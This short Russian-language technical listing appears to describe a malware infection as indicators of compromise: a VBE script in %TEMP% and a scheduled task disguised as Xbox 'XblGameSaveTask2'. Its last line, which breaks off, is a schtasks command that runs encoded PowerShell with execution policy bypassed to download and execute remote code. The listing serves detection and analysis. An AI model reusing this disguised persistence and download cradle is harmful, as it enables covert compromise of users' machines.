Техническая информация
- <SYSTEM32>\tasks\ms\xblgamesave\xblgamesavetask2
- '<SYSTEM32>\wscript.exe' "%TEMP%\dsabc.VBE"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1476
- %TEMP%\dsabc.vbe
- %TEMP%\785870.cvr
- '<SYSTEM32>\schtasks.exe' /create /tn "MS\XblGameSave\XblGameSaveTask2" /tr "powershell.exe -NonI -exec bypass -enc SQBFAFgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGE...